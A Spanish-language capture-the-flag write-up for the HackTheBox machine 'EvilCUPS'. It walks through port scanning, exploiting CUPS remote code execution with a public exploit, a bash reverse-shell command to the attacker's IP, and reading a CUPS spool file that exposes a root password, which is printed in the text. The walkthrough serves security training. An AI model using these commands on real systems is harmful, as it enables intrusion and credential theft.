write up EvilCUPS HTB
xd
“EvilCUPS” es una máquina de HackTheBox basada en vulnerabilidades del servicio CUPS que permiten ejecución remota de comandos. Siguiendo un tutorial reciente, logramos acceso inicial al sistema y, al revisar archivos de configuración de CUPS, encontramos una contraseña reutilizada para root, lo que nos dio control total del sistema.
lo primero que vamos a hacer es ejecutar los escaneos de nmap:
nmap -p- --open -sT --min-rate 5000 -vvv -n -Pn 10.10.11.40 -oG allports
nmap -sCV -p22,631 10.10.11.40 -oN ports
vemos que nos da la version de cups que es la 2.4 una version antigua del 2022.
tambien podemos ver que hay http por lo que alomejor hay una web.
vamos a usar whatweb para averiguarlo:
whatweb 10.10.11.40:631
como podemos ver hay algo por lo que vamos a ponerlo en el navegador
nada mas entrar vemos otra vez la version del servicio y multiples enlaces a los cuales podemos acceder.
antes de ponerme a tocar voy a preferir ejecutar un gobuster para ver si encuentro algo mas
gobuster dir -u http://10.10.11.40:631/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt -t 30 -x php,html,php.bak,bak,txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.40:631/
[+] Method: GET
[+] Threads: 30
[+] Wordlist: /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html,php.bak,bak,txt,php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 2262]
/help (Status: 200) [Size: 3137]
/jobs (Status: 200) [Size: 2329]
/jobs.txt (Status: 200) [Size: 2329]
/jobs.html (Status: 200) [Size: 2329]
/jobs.php.bak (Status: 200) [Size: 2329]
/jobs.php (Status: 200) [Size: 2329]
/jobs.bak (Status: 200) [Size: 2329]
/de (Status: 200) [Size: 2316]
/fr (Status: 200) [Size: 2340]
/admin (Status: 403) [Size: 370]
/admin.html (Status: 403) [Size: 370]
/admin.php (Status: 403) [Size: 370]
/admin.bak (Status: 403) [Size: 370]
/admin.txt (Status: 403) [Size: 370]
/admin.php.bak (Status: 403) [Size: 370]
/es (Status: 200) [Size: 2478]
/ru (Status: 200) [Size: 2739]
/ja (Status: 200) [Size: 2263]
/printers.php.bak (Status: 200) [Size: 2388]
/printers.bak (Status: 200) [Size: 2388]
/printers (Status: 200) [Size: 2388]
/printers.html (Status: 200) [Size: 2388]
/printers.php (Status: 200) [Size: 2388]
/printers.txt (Status: 200) [Size: 2388]
/classes.php.bak (Status: 200) [Size: 2003]
/classes (Status: 200) [Size: 2003]
/classes.bak (Status: 200) [Size: 2003]
/classes.php (Status: 200) [Size: 2003]
/classes.txt (Status: 200) [Size: 2003]
/classes.html (Status: 200) [Size: 2003]
/robots.txt (Status: 200) [Size: 95]
/administration (Status: 403) [Size: 370]
/administration.txt (Status: 403) [Size: 370]
/administration.html (Status: 403) [Size: 370]
/administration.php (Status: 403) [Size: 370]
/administration.php.bak (Status: 403) [Size: 370]
/administration.bak (Status: 403) [Size: 370]
/da (Status: 200) [Size: 2311]
/' (Status: 403) [Size: 370]
/'.php (Status: 403) [Size: 370]
/'.php.bak (Status: 403) [Size: 370]
/'.html (Status: 403) [Size: 370]
/'.bak (Status: 403) [Size: 370]
/'.txt (Status: 403) [Size: 370]
/jobsearch.php (Status: 200) [Size: 2329]
/jobsearch (Status: 200) [Size: 2329]
/jobsearch.html (Status: 200) [Size: 2329]
/jobsearch.bak (Status: 200) [Size: 2329]
/jobsearch.php.bak (Status: 200) [Size: 2329]
/jobsearch.txt (Status: 200) [Size: 2329]
/jobseeker (Status: 200) [Size: 2329]
/jobseeker.bak (Status: 200) [Size: 2329]
/jobseeker.txt (Status: 200) [Size: 2329]
/jobseeker.php (Status: 200) [Size: 2329]
/jobseeker.php.bak (Status: 200) [Size: 2329]
/jobseeker.html (Status: 200) [Size: 2329]
Progress: 32619 / 7642998 (0.43%)
no parece aver nada interesante por lo que vamos a tocar la pagina
si nos vamos a http://10.10.11.40:631/printers/
veremos lo siguiente:
si clicamos sobre Canon_MB2300_series veremos que nos da cierta infromacion de la impresora
tambien si vemos Show completed jobs saldran las tareas completadas (en vuestro caso solo os saldra una no como a mi que me puse a tocar antes de escribir xdd)
como podemos ver hay dos usuarios Withheld y anonymous ( este ultimo es que usado yo y que no os aparecera)
lo interesante esque tenemos poder sobre el usuario anonymous pero por ejemplo si intentamos haceder a http://10.10.11.40:631/admin nos suelta un 403 forbiden
por lo aqui entran los siguientes CVE:
basicamente lo que hay que comprobar el puerto 631 por UDP, si esta abierto podemos ejecuatr remote code execution (RCE) por lo que podemos usar nmap para ver si es correcto:
nmap -sU -p631 10.10.11.40
como podemos ver esta abierto por lo que genial (para nostros como atacantes claro)
vamos a darnos el lujazo de que vamos a usar el siguiente exploit para poder vulnerar el servicio
https://github.com/IppSec/evil-cups.git
para isntalarlo es asi:
❯ git clone https://github.com/IppSec/evil-cups.git
<SNIP>
❯ cd evil-cups
❯ python3 -m venv evilcups_env
❯ source evilcups_env/bin/activate
❯ pip3 install -r requirements.txt
❯ python3 evilcups.py -h
evilcups.py <LOCAL_HOST> <TARGET_HOST> <COMMAND>
vale una vez echo abrimos otra terminal y nos ponemos en escucha por un puerto, en mi caso voy a elejir el 443 (no afecta en nado solo es por gusto)
nc -nvlp 443
ahora el exploit tiene un pero por ejemplo, nos enviamos una reverse shell ésta compartirá el mismo PID del proceso que está corriendo la impresora
para comprenderlo mejor voy a citar una explicacion de otro write up que lo explica fabulosamente y os dejo el enlace tambien al writeup oficial
https://gunzf0x.github.io/pentesting/es/posts/evilcups/
cito:
“por ejemplo, nos enviamos una reverse shell ésta compartirá el mismo PID
del proceso que está corriendo la impresora. De manera que, si por A, B, C motivo la mala impresora (agregada) se muere o es removida, nuestra reverse shell también morirá ya que es un proceso “child” (hijo) de ésta. Puede haber un proceso corriendo por detrás el cual elimina las impresoras no deseadas. Por tanto, nuestra reverse shell podría morir. Para sobrepasar este problema podemos crear un nuevo PID
el cual se haga cargo del proceso de la reverse shell utilizando el comando nohup
junto con el de la reverse shell. Por tanto, si realizamos esta secuencia de ataque para CUPS
, se recomienda hacerlo utilizando nohup
para crear un proceso independiente.
Como último aviso, en la vida real puede que no haya un proceso removiendo constantemente las impresoras no deseadas. De ser ese el caso (el cual es más realista), y por alguna razón nuestra reverse shell muere, tendremos que cambiar nuestra dirección IP dado que al realizar la inyección ésta no aceptará un nuevo archivo PPD
. Supongo que por eso la gente de HTB fue considerada y agregó el proceso de borrar impresoras. De otro modo necesitaríamos cambiar la IP cada vez que la reverse shell muere o, incluso, si es que simplemente ejecutamos un ping
para saber si el exploit funcionaba.”
vale una vez dicho esto vamos a ejecuat el exploit de la siguiente forma:
python3 evilcups.py 10.10.16.74 10.10.11.40 'nohup bash -c "bash -i >& /dev/tcp/10.10.16.74/443 0>&1" &'
y esperamos unos 30 segundos
pasados esos 30 segundos si vamos a http://10.10.11.40:631/printers/ veremos la impresora maliciosa
si la selecionamos y imprimimos una pagina de ejmplo
pum estamos dentro
ahora para el escalado de privilegios
escalado de privilegios
hay un directorio cups donde en general se almacena todo. problema no tenemos haceso pero si podemos ejecutar comando:
por lo que si investigamos un poco descubrimos que suelen tener una nomeglatura generica los archivos gracias a la documentacion oficial de cups
por lo que si supuestamente hacemos un:
cat /var/spool/cups/d00001-001
deveria ver una/unas contraseña/s
y exacto hay la tenemos.
si nos la copiamos y con netexect para ver si es de root:
nxc ssh 10.10.11.40 -u 'root' -p 'Br3@k-G!@ss-r00t-evilcups'
y vemos que si por lo que ya solo es entrar por ssh y somos root